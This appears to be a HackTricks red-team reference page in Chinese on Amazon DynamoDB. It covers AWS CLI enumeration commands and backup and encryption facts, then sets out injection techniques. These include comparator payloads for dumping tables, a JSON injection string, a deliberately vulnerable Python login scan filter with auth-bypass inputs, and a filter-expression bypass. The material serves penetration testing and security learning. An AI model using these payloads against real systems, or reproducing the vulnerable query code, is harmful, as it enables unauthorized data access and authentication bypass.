AWS - DynamoDB Enum

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

DynamoDB

基本信息

Amazon DynamoDB 被 AWS 提供为一个 完全托管的无服务器键值 NoSQL 数据库,旨在支持高性能应用程序,无论其规模如何。该服务确保了强大的功能,包括固有的安全措施、不间断的备份、跨多个区域的自动复制、集成的内存缓存和便捷的数据导出工具。

在 DynamoDB 的上下文中,创建的是表,而不是建立传统数据库。每个表都要求指定一个 分区键,作为 表主键 的一个组成部分。这个分区键,实质上是一个 哈希值,在项目检索和数据在不同主机之间的分配中起着关键作用。这种分配对于维护数据库的可扩展性和可用性至关重要。此外,还可以选择添加 排序键 以进一步细化数据组织。

加密

默认情况下,DynamoDB 使用一个 属于 Amazon DynamoDB 的 KMS 密钥, 甚至不是至少属于您账户的 AWS 管理密钥。

备份与导出到 S3

可以 安排 生成 表备份 或按 创建它们。此外,还可以为表启用 时间点恢复 (PITR)。时间点恢复为您的 DynamoDB 数据提供连续的 备份,持续 35 天,以帮助您防止意外的写入或删除操作。

还可以将 表的数据导出到 S3,但该表需要启用 PITR

GUI

有一个用于本地 Dynamo 服务的 GUI,如 DynamoDB Localdynalitelocalstack 等,这些可能会很有用:https://github.com/aaronshaf/dynamodb-admin

枚举

# Tables
aws dynamodb list-tables
aws dynamodb describe-table --table-name <t_name> #Get metadata info
## The primary key and sort key will appear inside the KeySchema field

#Check if point in time recovery is enabled
aws dynamodb describe-continuous-backups \
--table-name tablename

# Backups
aws dynamodb list-backups
aws dynamodb describe-backup --backup-arn <arn>
aws dynamodb describe-continuous-backups --table-name <t_name>

# Global tables
aws dynamodb list-global-tables
aws dynamodb describe-global-table --global-table-name <name>

# Exports
aws dynamodb list-exports
aws dynamodb describe-export --export-arn <arn>

# Misc
aws dynamodb describe-endpoints #Dynamodb endpoints

未经身份验证的访问

AWS - DynamoDB Unauthenticated Access

权限提升

AWS - DynamoDB Privesc

后期利用

AWS - DynamoDB Post Exploitation

持久性

AWS - DynamoDB Persistence

DynamoDB 注入

SQL 注入

有方法可以使用 SQL 语法 访问 DynamoDB 数据,因此,典型的 SQL 注入也是可能的

SQL Injection - HackTricks

NoSQL 注入

在 DynamoDB 中,可以使用不同的 条件 来检索数据,就像在常见的 NoSQL 注入中,如果可以 链式添加更多条件以检索 数据,您可能会获得隐藏的数据(或转储整个表)。
您可以在这里找到 DynamoDB 支持的条件:https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html

请注意,如果通过 queryscan 访问数据,支持 不同的条件

Note

实际上,Query 操作需要在 键中指定 条件 “EQ”(等于) 才能工作,这使其 更不容易受到 NoSQL 注入(并且还使操作非常有限)。

如果您可以 更改比较 或添加新的比较,您可以检索更多数据。

# Comparators to dump the database
"NE": "a123" #Get everything that doesn't equal "a123"
"NOT_CONTAINS": "a123" #What you think
"GT": " " #All strings are greater than a space

NoSQL injection - HackTricks

原始 Json 注入

Caution

此漏洞基于已弃用的 dynamodb 扫描过滤器!

DynamoDB 接受 Json 对象以 搜索 数据。如果您发现可以在发送的 json 对象中进行写入,您可以使数据库转储所有内容。

例如,在请求中注入:

'{"Id": {"ComparisonOperator": "EQ","AttributeValueList": [{"N": "' + user_input + '"}]}}'

攻击者可以注入类似于:

1000"}],"ComparisonOperator": "GT","AttributeValueList": [{"N": "0

修复“EQ”条件,搜索 ID 1000,然后查找所有 Id 字符串大于 0 的数据,这就是全部。

另一个 使用登录的脆弱示例 可以是:

scan_filter = """{
"username": {
"ComparisonOperator": "EQ",
"AttributeValueList": [{"S": "%s"}]
},
"password": {
"ComparisonOperator": "EQ",
"AttributeValueList": [{"S": "%s"}]
}
}
""" % (user_data['username'], user_data['password'])

dynamodb.scan(TableName="table-name", ScanFilter=json.loads(scan_filter))

这将容易受到以下攻击:

username: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none
password: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none

:property Injection

某些 SDK 允许使用一个字符串来指示要执行的过滤,例如:

new ScanSpec().withProjectionExpression("UserName").withFilterExpression(user_input+" = :username and Password = :password").withValueMap(valueMap)

您需要知道,在DynamoDB中搜索以替换属性过滤表达式时,令牌应以**:字符开始**。这些令牌将在运行时替换为实际的属性值

因此,像之前的登录可以通过以下方式绕过:

:username = :username or :username
# This will generate the query:
# :username = :username or :username = :username and Password = :password
# which is always true

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks